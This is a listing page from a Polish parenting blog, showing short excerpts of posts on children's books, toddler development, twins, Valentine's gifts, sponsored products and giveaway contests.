<<TUTAJ>>, może Twoi znajomi również chcieliby wygrać tą książkę?!* na blogu, pod tym postem konkursowym pozostaw komentarz z odpowiedzią na pytanie: "Co najbardziej zaskoczyło Cię w byciu rodzicem?" Laureatem zostanie osoba, która udzieli najciekawszej odpowiedzi!* wysyłka nagrody tylko na terenie Polski i odpowiada za nią sponsorŻyczę udanej zabawy!Konkurs Rodzicu, nie panikuj! REA SJ

MAMA NA TROPIE

3 typy mężczyzn, których unikam!

Mężczyzna to silna płeć, choć podobno ta brzydsza. W Polsce stanowią ok. 48% populacji jak podaje Wikipedia. Oczywiście każdy z nas bez problemu wymieni atrybuty męskie typu większy zarost niż u kobiety, silniejsze rysy twarzy, szersze barki a węższe biodra niż u płci przeciwnej. Oczywiście o narządach płciowych, tembrze głosu czy społecznych uwarunkowaniach ról życiowych nie wspominając. Kiedyś

MAMA NA TROPIE

Chłopiece labirynty

Dzieci lubią pokonywać przeciwności, które stawia im świat i ich rozwój osobniczy. Wystarczy spojrzeć na dziecko uczące się chodzić, choć wciąż upada na pampersa. Ale podnosi się i idzie dalej, dąży do celu. W późniejszym rozwoju to rodzice często stawiają przed dzieckiem kolejne stopnie do zdobycia, kolejne umiejętności do rozwinięcia. Nie wiem jak Wy, ale ja staram się postawić poprzeczkę w

MAMA NA TROPIE

Przygody Krasnala Hałabała - znacie?

Kiedy człowiek był mały, świat nie obfitował w odbiorniki telewizyjne, a już na pewno nie w kanały z bajkami, rodzice czytali dzieciom bardzo dużo. Pamiętam z tamtych czasów, zamierzchłych, prawie legendarnych kilka tytułów... Kiedy je zobaczyłam, od razu wiedziałam, że chcę aby i moi synowie znali moje ukochane historie. Ostatnio pisałam Wam o Wojtku, który chciał zostać strażakiem, a dziś

MAMA NA TROPIE

Koktajl z kiwi - Świeżo i zielono!

Jeśli jesteście tu ze mną dłużej to zauważyliście iż na blogu pojawiają się posty na temat siłowni, trenera personalnego na na Instagramie fotki wypoconych mięśni po ciąży... Tak, wzięliśmy się z mężem porządnie za siebie. W związku z tym zaczęliśmy poszukiwać inspiracji i instrukcji jak masę tłuszczu zalegającą tu i ówdzie zamienić sprawnie na masę mięśniową. Nie oszukujmy się, prócz samych

MAMA NA TROPIE

Anoreksja od środka...

Anoreksja czyli anorexia nervosa jest czasami nazywana jadłowstrętem psychicznym. Wiele osób bez większego problemu rozpoznałoby anoreksję, ale w stadium już dość zaawansowanym. Zamykając oczy widzimy bardzo wychudzona osobę, z wystającymi często kośćmi wołającymi przeraźliwie o pomoc otoczenia.  Wyobrażamy sobie osobę, która nie chce jeść, unika go jak ognia. Najczęściej zaburzenie to dotyka

MAMA NA TROPIE

Jak wspomagać rozwój maluszka po 1 r.ż.?

Jestem rodzicem, jakoś się tak złożyło że nawet potrójnym. I jakoś tak co dnia potrójnie bywam atakowana przez świat i ludzi z otoczenia pytaniami. A czy dziecko umie już to czy tamto? A moje to już potrafi siadać/pisać/liczyć/skakać na uszach a Twoje? Nie żebyśmy spotykając się w piaskownicy czy drzwiach przedszkola przelotem stały się w międzyczasie przyjaciółkami od dziecięcych kupek... Po

MAMA NA TROPIE

Jak dobrze mieć sąsiadów?!

Mieszkamy w domkach, blokach. Żyjemy szybko, choć w tłumie często tylko obok siebie. Nie mamy czasu, aby nawiązywać jakiekolwiek relacje, aby spotykać się, rozmawiać, poznawać. Albo wręcz w tym całym tłumie, który nas otacza staramy się znaleźć miejsce gdzie otoczy nas cisza - taką naszą bańkę mydlaną. Ale co z tymi ludźmi obok, czy warto mieć sąsiadów? Po co nam nawiązywanie relacji z

MAMA NA TROPIE

Wyprawka dla niemowlaka - bliźniaki.

Ciąża to przepiękny stan, stan błogosławiony, czas oczekiwania na nadejście nowego człowieka w naszej rodzinie. Więc szperamy, poszukujemy, martwimy się aby czegoś nie zapomnieć, nie przeoczyć i nie pominąć. A kwoty rosną, pęcznieją jakby rozmnażały się przez pączkowanie. Jesteś już przerażona... A co ma powiedzieć przyszła mama bliźniąt? Czy wyprawka dla niemowlaka, przy bliźniakach okazuje się

MAMA NA TROPIE

Wojtek - strażak.

Z każdej strony zachęcają nas do czytania, szczególnie dużo słyszymy głosów jeśli chodzi o rodziców i ich maluchy. Tyczy się to również tych jeszcze nienarodzonych, spokojnie rosnących w brzuchach swych mam. Ja lubię czytać maluchom, kocham te ich iskierki w oczach kiedy czegoś się uczą, te otwarte usteczka oglądające z zapałem obrazki. A do czytania dzieciom dopingują mnie dodatkowo moje własne

MAMA NA TROPIE

Interaktywnie z maluchem

Czy zastanawialiście się kiedyś nad tym, w jaki sposób można rozwijać umiejętności maluchów? Już nawet niemowlaki można uczyć, tylko należy wiedzieć, jak to robić? Odpowiednie zabawki oraz „materiały” do nauki potrafią pomóc rodzicom w pokazywaniu otaczającego ich pociechy świata. Dodatkowo zabawki interaktywne powodują zainteresowanie dzieci oraz zachęcają je do dalszych zabaw. Maluchom do

MAMA NA TROPIE

Sposób na wypadanie włosów.

Wypadanie włosów jest bardzo wielkim problemem. Dotyka on zarówno kobiety jak i mężczyzn, tylko tym drugim jakoś tak przystojnie bywa w łysinie. Przyczyny bywają różne. Począwszy od nieprawidłowej diety nie dostarczającej odpowiedniej ilości witamin i składników mineralnych przez problemy hormonalne po zmiany w naszym życiu. Nawet stres, zmiana otoczenia czy wody może wpływać na stan naszej

MAMA NA TROPIE

Suplementy diety od Noble Health

Człowiek jest bardzo zabiegany. Każdego dnia próbuje jakoś połączyć niebywałe tempo życia ze zdrowym sposobem i żywieniem. Czasami jednak nam się nie udaje, a jako kobiety bardziej zwracamy uwagę na stan naszej skóry czy włosów. Tutaj z pomocą przychodzą nam producenci suplementów diety. Więc jaka była nasza przygoda z suplementami diety marki Noble Health? Noble Health jest to marka

MAMA NA TROPIE

Ocieplenie domu

Kiedyś nastaje takie dzień kiedy "dorabiamy" się swoich czterech ścian. Cieszymy się szczególnie kiedy jest to domek lub chociaż poddasze dające nam pole do popisu zarówno pod względem budowlanym jak i designerskim. Ale gdy przyjdzie pierwsza zima okazuje się, że nasze poddasze wcale nie jest takie ciepłe i przytulne jak myśleliśmy. Staramy się jako członkowie tej rodziny tworzyć wspaniałą,

MAMA NA TROPIE

Prezent na Walentynki dla Niej

Ostatnio pisałam o Walentynkach i prezentach dla Niego . Wiele z Was mówiło, że warto aby prezent był jakoby wspólny, przydatny, a nie zbierający kurz na półce bibelot. Dostałam też prośby o przygotowanie podobnego zestawienia prezentów Walentynkowych dla Niej. Jako, że uwielbiam moich czytelników postanowiłam pochylić się też nad tym problemem i pomóc Wam, moje Panie w zainspirowaniu

MAMA NA TROPIE

Prezent na Walentynki dla Niego.

Często słyszę “nie wiem co kupić dla mojego faceta na Walentynki”. W końcu dopiero co myślałam o prezencie na święta, a już muszę wymyślić coś na Walentynki. Zaczyna się wtedy przeszukiwanie Internetu w celu znalezienia idealnego prezentu dla Niego. Motywem przewodnim, na który często trafiamy są czerwone serca, albo coś innego co kojarzy się z miłością. Oto kilka rzeczy, która można znaleźć

MAMA NA TROPIE

Muzyczna bajka o Czerwonym Kapturku.

Każdy szanujący się rodzic wie, że czytanie dzieciom bardzo je rozwija, pomaga w poznawaniu świata, jego zrozumieniu. Poprzez czytanie uczymy naszą pociechę bardzo wielu rzeczy. My również mamy w domu bardzo już wypchaną biblioteczkę dla chłopaków. Jasio w przedszkolu ostatnio rozpoczął cykl po kanonach bajek, jeśli tak można je nazwać. Poznają Jasia i Małgosię, Czerwonego Kapturka czy Królewnę

MAMA NA TROPIE

Jo Nesbro - Krew na śniegu

Jakiś czas temu przybyła do mnie książka sławnego twórcy kryminałów Jo Nesbro dzięki współpracy z Księgarnią Matras. Wiele o tym twórcy słyszałam, jednak nigdy nie spotkałam się z nim sam na sam w relacji pisarz - czytelnik. Jo Nesbro urodził się w Oslo i jest uznanym i nagradzanym twórcą kryminałów. Doczekał się również adaptacji filmowych swojej twórczości. Te wszystkie ochy i achy pod jego

MAMA NA TROPIE

Co zrobić z dzieckiem w ferie?

Przychodzą takie dni ba nawet tygodnie w życiu rodzica kiedy rwie włosy z głowy, załamuje swe spracowane ręce i zachodzi po rozum do swej zmęczonej głowy co tutaj zrobić... Takimi okresami są wakacje trwające 2 miesiące, okres bożonarodzeniowo-noworoczny nawet do 2 tygodni czy własnie rozpoczynające się ferie. No i własnie oto są! Nadchodzą już wielkimi krokami, właściwie kiedy piszę tego posta

MAMA NA TROPIE

Czekam na Ciebie, Kochanie! Konkurs z Canpol Babies

Witam wszystkich. Kiedy na teście ciążowym widzimy magiczne 2 kreski pojawia się pewnego rodzaju niedowierzanie, mieszają się nam w głowie myśli a w sercu uczucia wszelakie. Od radości i euforii po największy strach i obawy. Aby umilić Wam to oczekiwanie mamy wraz z Canpol Babies dla Was konkurs. Jego tematem jest "Czekam na Ciebie, Kochanie!" Konkurs z Canpol Babies A zasady są bardzo

MAMA NA TROPIE

Dla dziecka zrobię to co najlepsze!

Jesteś mamą? Wiesz, że Twoje serce, Twoja dusza i ciało robią wszystko dla Twojego dziecka, Twojego największego skarbu, dla kogoś kto jednym uśmiechem potrafi rozwiać najciemniejsze chmury dnia codziennego nad Twoją głową. To Twoje dziecko w końcu! Ale czy zrobisz dla niego wszystko??? Zanim zostałam mamą w najśmielszych wizjach nie byłam w stanie wyobrazić sobie tego jak dużo mogę. I nie